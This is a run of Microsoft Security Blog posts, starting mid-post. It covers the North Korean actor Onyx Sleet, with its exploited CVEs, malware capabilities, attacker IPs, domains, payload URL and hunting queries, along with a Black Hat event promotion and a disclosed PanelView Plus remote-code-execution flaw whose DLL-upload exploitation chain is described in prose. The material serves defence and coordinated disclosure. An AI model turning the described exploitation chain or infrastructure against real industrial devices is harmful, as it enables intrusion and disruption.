• Potential ransomware activity related to Cobalt Strike
• Suspicious named pipes
• Cobalt Strike Invocation using WMI

References

• https://knowledge.broadcom.com/external/article?legacyId=1025569
• https://core.vmware.com/vmware-vsphere-8-security-configuration-guide
• https://blogs.vmware.com/vsphere/2012/09/joining-vsphere-hosts-to-active-directory.html
• https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
• https://www.sygnia.co/blog/esxi-ransomware-attacks/?blaid=6088911https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/
• https://www.darkreading.com/cloud-security/agenda-ransomware-vmware-esxi-servers
• https://blog.checkpoint.com/2023/02/06/massive-ransomware-attack-targets-vmware-esxi-servers/amp/
• https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/amp/

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Ransomware operators exploit ESXi hypervisor vulnerability for mass encryption appeared first on Microsoft Security Blog.

First observed by Microsoft in 2014, Onyx Sleet has conducted cyber espionage through numerous campaigns aimed at global targets with the goal of intelligence gathering. More recently, it has expanded its goals to include financial gain. This threat actor operates with an extensive set of custom tools and malware, and regularly evolves its toolset to add new functionality and to evade detection, while keeping a fairly uniform attack pattern. Onyx Sleet’s ability to develop a spectrum of tools to launch its tried-and-true attack chain makes it a persistent threat, particularly to targets of interest to North Korean intelligence, like organizations in the defense, engineering, and energy sectors.

Microsoft tracks campaigns related to Onyx Sleet and directly notifies customers who have been targeted or compromised, providing them with the necessary information to help secure their environments. In this blog, we will share intelligence about Onyx Sleet and its historical tradecraft and targets, as well as our analysis of recent malware campaigns, with the goal of enabling the broader community to identify and respond to similar campaigns. We also provide protection, detection, and hunting guidance to help improve defenses against these attacks.

Who is Onyx Sleet?

Onyx Sleet conducts cyber espionage primarily targeting military, defense, and technology industries, predominately in India, South Korea, and the United States. This threat actor has historically leveraged spear-phishing as a means of compromising target environments; however, in recent campaigns, they have mostly exploited N-day vulnerabilities, leveraging publicly available and custom exploits to gain initial access. In October 2023, Onyx Sleet exploited the TeamCity CVE-2023-42793 vulnerability as a part of a targeted attack. Exploiting this vulnerability enabled the threat actor to perform a remote code execution attack and gain administrative control of the server.

Onyx Sleet develops and uses a spectrum of tools that range from custom to open source. They have built an extensive set of custom remote access trojans (RATs) that they use in campaigns, and routinely developed new variants of these RATs to add new functionality and implement new ways of evading detection. Onyx Sleet often uses leased virtual private servers (VPS) and compromised cloud infrastructure for command-and-control (C2).

Onyx Sleet is tracked by other security companies as APT45, SILENT CHOLLIMA, Andariel, DarkSeoul, Stonefly, and TDrop2.

Affiliations with other threat actors originating from North Korea

Onyx Sleet has demonstrated affiliations with other North Korean actors, indicating its integration with a broader network of North Korean cyber operations. Microsoft has observed an overlap between Onyx Sleet and Storm-0530. Both groups were observed operating within the same infrastructure and were involved in the development and use of ransomware in attacks in late 2021 and 2022.

Onyx Sleet targets

In pursuit of its primary goal of intelligence collection, Onyx Sleet has focused on targeting entities in the defense and energy industries, predominately in India, South Korea, and the United States. Recent attacks include the targeting of South Korean educational institutions, construction companies, and manufacturing organizations in May 2024. Onyx Sleet has also shown interest in taking advantage of online gambling websites, possibly for financial gain either on behalf of North Korea or for individual members of the group.

Onyx Sleet tradecraft

Onyx Sleet has used the same tactics, techniques, and procedures (TTPs) over extended periods, suggesting the threat actor views its tradecraft as effective. Onyx Sleet historically leveraged spear-phishing to compromise targets, and in more recent campaigns, they have been observed to primarily use exploits for initial access, alongside a loader, downloader, and backdoor as a part of its well-established attack chain.

Onyx Sleet nevertheless made some changes, for example, adding new C2 servers and hosting IPs, creating new malware, and launching multiple campaigns over time. In the past, Onyx Sleet introduced custom ransomware strains as a part of its campaigns. It also created and deployed the RAT identified by Kaspersky as Dtrack, which was observed in global attacks from September 2019 to January 2024. The Dtrack RAT follows the common attack chain used by Onyx Sleet and includes the exploitation of the Log4j 2 CVE-2021-44228 vulnerability for initial access and the use of payloads signed with an invalid certificate masquerading as legitimate software to evade detection.

Another example of Onyx Sleet introducing variations in the implementation of its attack chain is the campaign identified by AhnLab Security Intelligence Center (ASEC) in May 2024. In this campaign, the threat actor employed a previously unseen malware family dubbed as Dora RAT. Developed in the Go programming language, this custom malware strain targeted South Korean educational institutions, construction companies, and manufacturing organizations. 

Onyx Sleet avoids common detection techniques across its attack lifecycle by heavily using custom encryption and obfuscation algorithms and launching as much of its code in memory as possible. These tools and techniques have been observed in several reported campaigns, including TDrop2.

Onyx Sleet has also used several off-the shelf tools, including Sliver, remote monitoring and management (RMM) tools SOCKS proxy tools, Ngrok, and masscan. We have also observed Onyx Sleet using commercial packers like Themida and VMProtect to obfuscate their malware. In January 2024, Microsoft Threat Intelligence identified a campaign attributed to Onyx Sleet that deployed a Sliver implant, an open-source C2 framework that supports multiple operators, listener types, and payload generation. Like the Dtrack RAT, this malware was signed with an invalid certificate impersonating Tableau software. Further analysis revealed that this Onyx Sleet campaign compromised multiple aerospace and defense organizations from October 2023 to June 2024.

Apart from the previously mentioned Log4j 2 vulnerability, Onyx Sleet has exploited other publicly disclosed (N-day) vulnerabilities to gain access to target environments. Some vulnerabilities recently exploited by Onyx Sleet include:

• CVE-2023-46604 (Apache ActiveMQ)
• CVE-2023-22515 (Confluence)
• CVE-2023-27350 (PaperCut)
• CVE-2023-42793 (TeamCity)

In addition to these well-known and disclosed vulnerabilities, Onyx Sleet has used custom exploit capabilities in campaigns targeting users mostly in South Korea. In these campaigns, Onyx Sleet exploited vulnerabilities in a remote desktop/management application, a data loss prevention application, a network access control system, and an endpoint detection and response (EDR) product.

Recent malware campaigns

In December 2023, South Korean authorities attributed attacks that stole over 1.2 TB of data from targeted South Korean defense contractors using custom malware to Andariel. Microsoft has attributed several custom malware families used in the said attacks – TigerRAT, SmallTiger, LightHand, and ValidAlpha – to Onyx Sleet.

TigerRAT

Since 2020, Onyx Sleet has been observed using the custom RAT malware TigerRAT. In some campaigns using TigerRAT, Onyx Sleet exploited vulnerabilities in Log4j 2 to deliver and install the malware. When launched, this malware can steal confidential information and carry out commands, such as keylogging and screen recording, from the C2.

SmallTiger

In February 2024, ASEC identified SmallTiger, a new malware strain targeting South Korean defense and manufacturing organizations. During the process of lateral movement, this malware is delivered as a DLL file (SmallTiger[.]dll) and uses a C2 connection to download and launch the payload into memory. Microsoft researchers have determined that SmallTiger is a C++ backdoor with layered obfuscation, encountered in the wild as a Themida or VMProtect packed executable.

The SmallTiger campaign can be tied back to a campaign using a similar attack chain beginning in November 2023 that delivered the DurianBeacon RAT malware. In May 2024, Microsoft observed Onyx Sleet continuing to conduct attacks targeting South Korean defense organizations using SmallTiger.

LightHand

LightHand is a custom, lightweight backdoor used by Onyx Sleet for remote access of target devices. Via LightHand, Onyx Sleet can execute arbitrary commands through command shell (cmd.exe), get system storage information, perform directory listing, and create/delete files on the target device.

ValidAlpha (BlackRAT)

ValidAlpha (also known as BlackRAT) is a custom backdoor developed in the Go programming language and used by Onyx Sleet to target organizations globally in the energy, defense, and engineering sectors since at least 2023. ValidAlpha can run an arbitrary file, list contents of a directory, download a file, take screenshots, and launch a shell to execute arbitrary commands.

Samples of ValidAlpha analyzed by Microsoft had a unique PDB string: I:/01___Tools/02__RAT/Black/Client_Go/Client.go

Recommendations

Microsoft recommends the following mitigations to defend against attacks by Onyx Sleet:

• Keep software up to date. Apply new security patches as soon as possible.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to help cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.
• Enable network protection to help prevent access to malicious domains.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can help block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to help remediate malicious artifacts that are detected post-breach.
• Configure investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to help resolve breaches, significantly reducing alert volume

Microsoft Defender customers can turn on attack surface reduction rules to help prevent common attack techniques used by Onyx Sleet:

• Block executable files from running unless they meet a prevalence, age, or trusted list criterion
• Block execution of potentially obfuscated scripts
• Block JavaScript or VBScript from launching downloaded, executable content

Detection details

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware families:

• CertutilPE
• Dora
• LightHand
• SmallTiger
• TigerCrypt
• TigerRAT
• ValidAlpha

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Onyx Sleet activity group

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity:

• Document contains macro to download a file

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2023-42793 (TeamCity)
• CVE-2023-27350 (Papercut)
• CVE-2021-44228 (Log4j 2)

Microsoft Defender Threat Intelligence

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool Profile: Dtrack
• Onyx Sleet targeting defense firm in the Middle East
• Onyx Sleet targets electrical equipment manufacturer in India
• Onyx Sleet exploits vulnerable VMWare Horizon servers
• Onyx Sleet using Sliver remote access trojan in attacks on aerospace and defense
• Same Targets, new playbooks: East Asia threat actors employ unique methods

Microsoft Sentinel queries

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Use this query to assess the existence of vulnerabilities used by Onyx Sleet:

DeviceTvmSoftwareVulnerabilities  
| where CveId in ("CVE-2021-44228","CVE-2023-27350","CVE-2023-42793")   
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel  
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId  
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware 

Use this query to detect associated network IOCs:

let remoteip = dynamic(["84.38.134.56","45.155.37.101","213.139.205.151","109.248.150.147","162.19.71.175","147.78.149.201"]);
let remoteurl = dynamic(["americajobmail.site","privatemake.bounceme.net","ww3c.bounceme.net","advice.uphearth.com","http://84.38.134.56/procdump.gif"]);
DeviceNetworkEvents  
| where RemoteIP == remoteip or RemoteUrl == remoteurl 
| project TimeGenerated, DeviceId, DeviceName, Protocol, LocalIP, LocalIPType, LocalPort,RemoteIP, RemoteIPType, RemotePort, RemoteUrl

Use this query to detect associated file IOCs:

let selectedTimestamp = datetime(2024-07-17T00:00:00.0000000Z);  
let fileName = "SmallTiger.dll";  
let FileSHA256 = dynamic(["f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c","0837dd54268c373069fc5c1628c6e3d75eb99c3b3efc94c45b73e2cf9a6f3207 ","29c6044d65af0073424ccc01abcb8411cbdc52720cac957a3012773c4380bab3","fed94f461145681dc9347b382497a72542424c64b6ae6fcf945f4becd2d46c32","868a62feff8b46466e9d63b83135a7987bf6d332c13739aa11b747b3e2ad4bbf","f1662bee722a4e25614ed30933b0ced17b752d99fae868fbb326a46afa2282d5","1b88b939e5ec186b2d19aec8f17792d493d74dd6ab3d5a6ddc42bfe78b01aff1","3098e6e7ae23b3b8637677da7bfc0ba720e557e6df71fa54a8ef1579b6746061","8daa6b20caf4bf384cc7912a73f243ce6e2f07a5cb3b3e95303db931c3fe339f","7339cfa5a67f5a4261c18839ef971d7f96eaf60a46190cab590b439c71c4742b"]);  
let SignerName = "INVALID:Tableau Software Inc.";  
let Signerhash = "6624c7b8faac176d1c1cb10b03e7ee58a4853f91";  
let certificateserialnumber = "76cb5d1e6c2b6895428115705d9ac765";  
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents,  
DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator)  
TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from July 17th runs the search backwards for 90 days, change the above date accordingly.  
and   
( FileName == fileName or OldFileName == fileName or ProfileName == fileName or InitiatingProcessFileName == fileName or InitiatingProcessParentFileName == fileName  
or InitiatingProcessVersionInfoInternalFileName == fileName or InitiatingProcessVersionInfoOriginalFileName == fileName or PreviousFileName == fileName  
or ProcessVersionInfoInternalFileName == fileName or ProcessVersionInfoOriginalFileName == fileName or DestinationFileName == fileName or SourceFileName == fileName  
or ServiceFileName == fileName or SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256) or Signer == SignerName or SignerHash == Signerhash or CertificateSerialNumber == certificateserialnumber )

Indicators of compromise

IP addresses

• 84.38.134[.]56
• 45.155.37[.]101
• 213.139.205[.]151
• 109.248.150[.]147
• 162.19.71[.]175
• 147.78.149[.]201

URL

• hxxp://84.38.134[.]56/procdump.gif

Actor-controlled domain

• americajobmail[.]site
• privatemake.bounceme[.]net
• ww3c.bounceme[.]net
• advice.uphearth[.]com

SHA-256

• TigerRAT
  • f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c
  • 0837dd54268c373069fc5c1628c6e3d75eb99c3b3efc94c45b73e2cf9a6f3207
  • 29c6044d65af0073424ccc01abcb8411cbdc52720cac957a3012773c4380bab3
  • fed94f461145681dc9347b382497a72542424c64b6ae6fcf945f4becd2d46c32
  • 868a62feff8b46466e9d63b83135a7987bf6d332c13739aa11b747b3e2ad4bbf
• LightHand
  • f1662bee722a4e25614ed30933b0ced17b752d99fae868fbb326a46afa2282d5
  • 1b88b939e5ec186b2d19aec8f17792d493d74dd6ab3d5a6ddc42bfe78b01aff1
  • 3098e6e7ae23b3b8637677da7bfc0ba720e557e6df71fa54a8ef1579b6746061
  • 8daa6b20caf4bf384cc7912a73f243ce6e2f07a5cb3b3e95303db931c3fe339f
  • 7339cfa5a67f5a4261c18839ef971d7f96eaf60a46190cab590b439c71c4742b
• ValidAlpha
  • c2500a6e12f22b16e221ba01952b69c92278cd05632283d8b84c55c916efe27c
  • c1a09024504a5ec422cbea68e17dffc46472d3c2d73f83aa0741a89528a45cd1

Fake Tableau certificate

• Signer: INVALID:Tableau Software Inc.
• SignerHash: 6624c7b8faac176d1c1cb10b03e7ee58a4853f91
• CertificateSerialNumber: 76cb5d1e6c2b6895428115705d9ac765

References

• https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/
• https://asec.ahnlab.com/en/66088/
• https://www.helpnetsecurity.com/2013/07/08/dissecting-operation-troy-cyberespionage-in-south-korea/
• https://unit42.paloaltonetworks.com/inside-tdrop2-technical-analysis-of-new-dark-seoul-malware/
• https://securelist.com/my-name-is-dtrack/93338/
• https://www.virustotal.com/gui/file/96118268f9ab475860c3ae3edf00d9ee944d6440fd60a1673f770d150bfb16d3/details
• https://www.reuters.com/technology/cybersecurity/north-korea-hackers-may-have-stolen-data-laser-weapon-police-2023-12-06/
• https://asec.ahnlab.com/en/56405/
• https://blog.talosintelligence.com/lazarus-magicrat/
• https://asec.ahnlab.com/ko/65918/
• https://www.boho.or.kr/en/bbs/view.do?searchCnd=&bbsId=B0001041&searchWrd=&menuNo=205083&pageIndex=1&categoryCode=&nttId=36276

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Onyx Sleet uses array of malware to gather intelligence for North Korea appeared first on Microsoft Security Blog.

Also at Black Hat, our Microsoft AI Red Team will be onsite holding training sessions, briefings, and panel discussions. And today, we’re releasing a white paper to demonstrate the impact of red teaming in practice when incorporated in the AI development life cycle. The paper details our innovative “Break-Fix” approach to red teaming AI systems and our close collaboration with Microsoft’s Phi-3 team, which allowed us to reduce the harms by 75% in Microsoft’s state-of-the-art small language models.¹   

As a proud sponsor of the inaugural AI Summit at Black Hat, we’re further investing in the community by sharing our learnings in both AI for Security and Securing AI. We’ll be participating in a panel discussion titled “Balancing Security and Innovation—Risks and Rewards in AI-Driven Cybersecurity,” where we’ll debate the trade-offs between innovation in AI and security risks and share strategies to foster innovation while maintaining robust security postures.  

There’s also a sponsored session titled “Moonstone Sleet: A Deep Dive into their TTPs,” presented by Greg Schloemer, Threat Intelligence Analyst at Microsoft, that takes a deep dive into cyber threat actors associated with the Democratic People’s Republic of Korea (DPRK), as well as educational and engaging theater sessions in our Microsoft booth #1240. With a ton of critical security content to catch—all detailed below—we hope you’ll make time to connect with us at Black Hat 2024. 

Plan your schedule with our standout sessions  

Join us for core Black Hat sessions, submitted for consideration by Microsoft subject matter experts and selected by the Black Hat content committee to be included in its main agenda.  

Stop by our booth (1240) to connect with Microsoft security experts  

At Black Hat 2024, Microsoft Security is here with security leaders and resources that include:   

• Threat researchers and security experts from Microsoft Security, here to connect with the community and share insights.  
• Live demos of Microsoft Copilot for Security, informed by the 78 trillion signals Microsoft processes daily, to help security pros be up to 22% faster. ²
• Theater presentations of Microsoft’s unified security operations experience, which brings together extended detection and response (XDR) and security information and event management (SIEM), so you get full visibility into cyberthreats across your multicloud, multiplatform environment.  
• Hands-on experience with Microsoft Security solutions to help you adopt AI safely.  

Connect with Microsoft leaders and representatives to learn about our AI-first end-to-end security for all. Additionally, you’ll be able to view multiple demonstrations on a wide range of topics including threat protection, securing AI, multicloud security, Copilot for Security, data security, and advanced identity. You’ll also be able to connect with our Microsoft Intelligent Security Association (MISA) partners during your visit—the top experts from across the cybersecurity industry with the shared goal of improving customer security worldwide. And if you have specific questions to ask, sign up for a one-on-one chat with Microsoft Security leaders. 

Partner presence at the Microsoft booth

At the Theater in the Microsoft booth, watch our series of presentations and panels featuring Microsoft Threat Intelligence Center (MSTIC) experts and Microsoft Researchers. Half of the sessions will be presented by the MSTIC Team. The Microsoft booth will also feature sessions from select partners from the Microsoft Intelligent Security Association (MISA). MISA is an ecosystem of leading Security companies that have integrated their solutions with Microsoft Security technology with a goal of protecting our mutual customers from cybersecurity threats. Seven partners will showcase their solutions at our MISA demo station and five partners will be presenting their solutions in our mini-theater. We would love to see you there. Click here to view our full theater session schedule. 

Reserve your spot at the Microsoft Security VIP Mixer  

The event will be co-hosted by Ann Johnson, Corporate Vice President and Deputy CISO of Microsoft Security, and Aarti Borkar, Vice President of Microsoft Security, Customer Success and Microsoft Incident Response, and, we are thrilled to have five MISA partners—Avertium, BlueVoyant, NCC Group, Trustwave, and Quorum Cyber—sponsoring our Microsoft Security VIP Mixer. The mixer is a great time to connect and network with fellow industry experts, and grab a copy of Security Mixology, a threat intelligence-themed cocktail and appetizer cookbook—you’ll be able to meet some of the contributors! Drinks and appetizers will be provided. Reserve your spot to join us at this exclusive event.

Don’t miss the AI Summit at Black Hat  

On Tuesday, August 6, 2024, from 11:10 AM PT to 11:50 AM PT, we’ll be part of a panel discussion titled “Balancing Security and Innovation—Risks and Rewards in AI-Driven Cybersecurity.” Microsoft is honored to be a VisionAIre sponsor for this event. Brandon Dixon, Partner Product Manager, Security AI Strategy will debate the trade-offs between innovation in AI and security risks, share strategies to foster innovation while maintaining robust security, and more. Note: The AI Summit is a separate, one-day event featuring technical experts, industry leaders, and security tsars, designed to give attendees a comprehensive understanding of the potential risks, challenges, and opportunities associated with AI and cybersecurity.  

Microsoft’s Most Valuable Researchers 

Security researchers are a critical part of the defender community, on the front lines of security response evolution, working to protect customers and the broader ecosystem. On Thursday, August 8, 2024, we’ll host our invite-only Microsoft Researcher Celebration. And on August 6, 2024, Microsoft Security Response Center (MSRC) will announce the annual top 100 Most Valuable Researchers (MVRs) who help protect our customers through surfacing and reporting security vulnerabilities under Coordinated Vulnerability Disclosure (CVD). Follow @msftsecresponse on X and Microsoft Security Response Center on LinkedIn for the MVR reveal. 

Secure your future with Microsoft global-scale threat intelligence  

In the hands of security professionals and teams, AI can deliver the greatest advantage to organizations of every size, across every industry, tipping the scales in favor of defenders. Microsoft is bringing together every part of the company in a collective mission to advance cybersecurity protection to help our customers and the security community. We offer four powerful advantages to drive security innovation: large-scale data and threat intelligence; the most complete end-to-end protection; industry leading, responsible AI; and the best tools to secure and govern the use of AI. Together we can propel innovation and create a safer world. We’re excited to share the latest product news and Microsoft Security innovations during Black Hat 2024 and we hope to see you there.  

Join us at the Microsoft Security VIP Mixer

Don’t miss this opportunity to connect with Microsoft Security experts and fellow industry leaders—and pick up your copy of Security Mixology!

Register now

For more threat intelligence guidance and insights from Microsoft security experts, visit Security Insider. 

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity. 

Sources:

¹Phi-3 Technical Report: A Highly Capable Language Model Locally on Your Phone, Microsoft. April 2024.

²Microsoft Copilot for Security is generally available on April 1, 2024, with new capabilities, Vasu Jakkal. March 13, 2024.

The post Connect with Microsoft Security at Black Hat USA 2024​​ appeared first on Microsoft Security Blog.

PanelView Plus devices are graphic terminals, also known as human machine interface (HMI) and are used in the industrial space. These vulnerabilities can significantly impact organizations using the affected devices, as attackers could exploit these vulnerabilities to remotely execute code and disrupt operations.

We shared these findings with Rockwell Automation through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) in May and July 2023. Rockwell published two advisories and released security patches in September and October 2023. We want to thank the Rockwell Automation product security team for their responsiveness in fixing this issue. We highly recommend PanelView Plus customers to apply these security patches.

The discovered vulnerabilities are summarized in the table below:

In this blog post, we will focus on the technical details of the CVE-2023-2071 remote code execution vulnerability and how it was discovered, as well as provide an overview of the protocol used for both the RCE and DoS vulnerabilities. Additionally, we will offer technical details about the vulnerability and demonstrate the exploitation method. By sharing this research with the larger security community, we aim to emphasize the importance of collaboration in the effort to secure platforms and devices.

Suspicious remote registry query

One of the primary responsibilities of the Microsoft Defender for IoT research team is to ensure that the product properly analyzes various operational technology (OT) and Internet of Things (IoT) protocols. During this process, we observed a legitimate packet capture of two devices communicating using the Common Industrial Protocol (CIP), with one device sending a request containing a path to a registry value named “ProductCode,” and the other device responding with what appeared to be the product code value. The lack of encryption and absence of prior authentication in the communication raised concerns, as it appeared to involve a remote registry query. Further investigation revealed that the requesting device was an engineering workstation, and the responding device was an HMI – specifically, PanelView Plus.

We hypothesized that this remote registry querying functionality could be abused by querying system keys to access secrets or even gain remote control. To validate this hypothesis, we needed to locate the code responsible for this functionality. Since the two devices communicated using the CIP, our first step was to understand the protocol in depth.

Object-oriented protocol for industrial automation applications

CIP is an industrial protocol designed for industrial automation applications. Various vendors in the industrial sector utilize this protocol, and the communication we observed took place over Ethernet/IP – a protocol that adapts CIP to standard Ethernet.

According to the official CIP documentation: “A CIP node is modeled as a collection of Objects. (…) A Class is a set of Objects that all represent the same kind of system component. An Object Instance is the actual representation of a particular Object within a Class.”

From this description, we can deduce that CIP is an object-oriented protocol, where messages are directed towards specific objects, identified by their Class ID and Object Instance ID. Additionally, the term “Service Code” is defined as: “An integer identification value which denotes an action request that can be directed at a particular object instance or object attribute”. Therefore, when messaging an object, we should also specify a Service Code, which informs the object what action it should perform.

The CIP specification outlines common Class IDs and Service IDs, as well as ranges for vendor-specific IDs.

Returning to the packet capture, we observed that both Service ID and Class ID values were vendor specific. This means that to understand the meaning of these Class and Service IDs and locate the code responsible for the functionality, we must analyze the HMI firmware.

Firmware analysis

According to Rockwell Automation’s online resources, PanelView Plus HMIs operate on the Windows 10 IoT (or Windows CE for older versions) operating system. We were able to extract the DLLs and executables related to Rockwell Automation from the most recent firmware. There are several DLLs responsible for receiving different Class IDs and processing their requests, one of which is responsible for processing the Class ID we observed in the packet capture.

Upon examining the functionality associated with this Class ID, we confirmed that it is indeed responsible for querying the registry and sending the value in the response. However, we also discovered that the code managing this functionality performs input verification, allowing the reading of registry values only from specific Rockwell keys.

Potentially exploitable custom class

Although our initial hypothesis was proven incorrect, this finding allowed us to gain valuable insights into Rockwell’s process of handling different CIP classes. Additionally, we learned how to identify the classes that a specific DLL is responsible for processing. This knowledge leads us to our second hypothesis: there might be another custom class, managed by the same DLL as the one responsible for the registry class, that could be exploited to gain remote control of the device.

Remote code execution

We began analyzing the DLL that handles the custom CIP class for reading and writing registry keys and discovered that this DLL also manages two other undocumented custom CIP classes from Rockwell. We decided to investigate these classes further to determine if they could be exploited for our attack and help validate our hypothesis.

Custom class 1

The first class we examined had an intriguing functionality: it accepts a path to a DLL file, a function name, and a third parameter as input. It then loads the DLL using LoadLibrary and calls the specified function using GetProcAddress, passing the third parameter as an argument.

This seemed like a possible avenue for executing arbitrary code. However, there was a catch: the class included a verification function that checked if the DLL name was remotehelper.dll and if the function name was one of the predefined values. If these conditions were not met, the class would return an error and not execute the function.

Custom class 2

Next, we examined the second class found within the same DLL. This class allowed reading and writing files on the device. It also included a verification function, but it was more permissive: it only checked whether the path for reading/writing began with a specific string. We realized that this class could potentially be exploited by uploading a malicious DLL to the device and place it in almost any location.

Exploitation approach

Having gained a comprehensive understanding of the vulnerabilities, we had an idea of how an attacker could utilize the two custom classes to launch code remotely on the device. The idea was to compile a DLL compatible with Windows 10 IoT, the operating system of the device. This DLL would contain the code we wanted to run on the device and would be exported under the name GetVersion, which is one of the valid function names that can be invoked by custom class 1. We would then use custom class 2 to upload our DLL to the device, placing it in a random folder and naming it remotehelper.dll. Finally, we would execute it using custom class 1.

To further explore how the vulnerability can be exploited, we decided to leverage an existing function in the original remotehelper.dll file. We discovered that this file had an export called InvokeExe, which allowed running any executable file on the device. However, this function was not in the list of valid function names for custom class 1, so we could not use it directly. To overcome this obstacle, we patched the remotehelper.dll file and altered one of the valid export names to point to the InvokeExe function. We then uploaded our patched DLL to the device, placing it in a different folder than the original. Subsequently, we used custom class 1 to invoke our patched DLL and run cmd.exe, which granted us a command shell on the device. We confirmed that the exploit was successful and that we had gained full control of the device.

Mitigation and protection guidance

Microsoft recommends the following measures to help protect organizations from attacks that take advantage of the PanelView Plus vulnerabilities shared in this blog post:

• Apply patches to affected devices in your network. FactoryTalk View ME v12/v13 and FactoryTalk® Linx v6.20/v6.30 on PanelView Plus are vulnerable to the discovered vulnerabilities. It is recommended to first identify the devices in your network that are impacted by those vulnerabilities. It is also recommended to install the following patches on the device:
  • PN1645 | FactoryTalk View Machine Edition Vulnerable to Remote Code Execution
  • PN1652 | FactoryTalk® Linx Vulnerable to Denial-of-Service and Information Disclosure
• Make sure all critical devices, such as PLCs, routers, PCs, etc., are disconnected from the internet and segmented, regardless of whether they run Rockwell’s FactoryTalk View.  
• Limit access to CIP devices to authorized components only. 

To assist with identifying impacted devices, Microsoft released a tool for scanning and performing forensics investigation on Rockwell Rslogix devices as part of its arsenal of open-source tools available on GitHub.

Microsoft Defender for IoT detections

Microsoft Defender for IoT provides the following protection measures against these vulnerabilities, associated exploits, and other malicious behavior:  

• Defender for IoT detects and classifies devices that use CIP.  
• Defender for IoT raises alerts on unauthorized access to devices using CIP, and abnormal behavior in these devices.  
• Defender for IoT raises alerts if a threat actor attempts to exploit these vulnerabilities. Alert type: “Suspicion of Malicious Activity”.

Yuval Gordon
Microsoft Threat Intelligence Community

References

• https://www.odva.org/wp-content/uploads/2020/06/PUB00123R1_Common-Industrial_Protocol_and_Family_of_CIP_Networks.pdf
• https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.PN1652.html
• https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.PN1645%20.html

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Vulnerabilities in PanelView Plus devices could lead to remote code execution appeared first on Microsoft Security Blog.

As we discussed in a previous blog post about AI jailbreaks, an AI jailbreak could cause the system to violate its operators’ policies, make decisions unduly influenced by a user, or execute malicious instructions.     

